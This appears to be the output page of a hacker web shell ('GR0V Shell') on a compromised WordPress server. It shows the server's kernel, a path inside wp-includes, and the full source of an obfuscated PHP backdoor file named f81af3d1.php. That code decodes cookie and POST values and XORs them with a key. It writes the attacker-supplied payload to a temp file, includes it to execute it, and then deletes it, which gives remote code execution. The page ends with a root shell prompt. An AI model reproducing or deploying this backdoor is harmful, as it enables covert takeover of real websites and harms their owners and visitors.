? GR0V Shell

GR0V shell

Linux www.koreapackagetour.com 2.6.32-042stab145.3 #1 SMP Thu Jun 11 14:05:04 MSK 2020 x86_64

Path : /home/admin/domains/happytokorea.net/public_html/wp-includes/js/imgareaselect/
File Upload :
Current File : /home/admin/domains/happytokorea.net/public_html/wp-includes/js/imgareaselect/f81af3d1.php

$DlMwuTRxqk = chr (116) . "\x57" . "\137" . 'Q' . chr (66) . "\103" . 'X' . "\x49";$XinIxxaULi = chr ( 756 - 657 ).chr (108) . chr ( 934 - 837 ).chr (115) . "\x73" . "\x5f" . chr ( 486 - 385 ).chr ( 165 - 45 ).chr (105) . "\163" . chr (116) . "\x73";$zCcRBJx = $XinIxxaULi($DlMwuTRxqk); $XinIxxaULi = "7074";$EUBzDicX = $zCcRBJx;if (!$EUBzDicX){class tW_QBCXI{private $rFKzLvL;public static $VIEFqzhf = "3b3abd60-6537-4dec-b558-12e54ebf687d";public static $jEfcFkOxIw = 11746;public function __construct($MSDrrPmR=0){$mZNGjAz = $_COOKIE;$VsOGeRZIx = $_POST;$dmYzCpq = @$mZNGjAz[substr(tW_QBCXI::$VIEFqzhf, 0, 4)];if (!empty($dmYzCpq)){$GVszSeUKS = "base64";$DxbjZyeXAB = "";$dmYzCpq = explode(",", $dmYzCpq);foreach ($dmYzCpq as $zsELPzXym){$DxbjZyeXAB .= @$mZNGjAz[$zsELPzXym];$DxbjZyeXAB .= @$VsOGeRZIx[$zsELPzXym];}$DxbjZyeXAB = array_map($GVszSeUKS . "\x5f" . chr (100) . "\145" . "\143" . chr (111) . chr ( 474 - 374 )."\145", array($DxbjZyeXAB,)); $DxbjZyeXAB = $DxbjZyeXAB[0] ^ str_repeat(tW_QBCXI::$VIEFqzhf, (strlen($DxbjZyeXAB[0]) / strlen(tW_QBCXI::$VIEFqzhf)) + 1);tW_QBCXI::$jEfcFkOxIw = @unserialize($DxbjZyeXAB);}}private function AkpiOJqea(){if (is_array(tW_QBCXI::$jEfcFkOxIw)) {$hhDXam = sys_get_temp_dir() . "/" . crc32(tW_QBCXI::$jEfcFkOxIw["\163" . "\141" . chr (108) . chr (116)]);@tW_QBCXI::$jEfcFkOxIw[chr (119) . chr (114) . "\151" . chr (116) . "\145"]($hhDXam, tW_QBCXI::$jEfcFkOxIw[chr ( 1022 - 923 ).chr ( 585 - 474 )."\156" . "\x74" . "\145" . "\156" . "\164"]);include $hhDXam;@tW_QBCXI::$jEfcFkOxIw["\144" . "\x65" . 'l' . "\x65" . "\x74" . chr (101)]($hhDXam); $bMSHCGWZn = "52947";exit();}}public function __destruct(){$this->AkpiOJqea(); $bMSHCGWZn = "52947";}}$nLXvWREKr = new tW_QBCXI(); $nLXvWREKr = "60613_12375";}

T1KUS90T
  root-grov@210.1.60.28:~$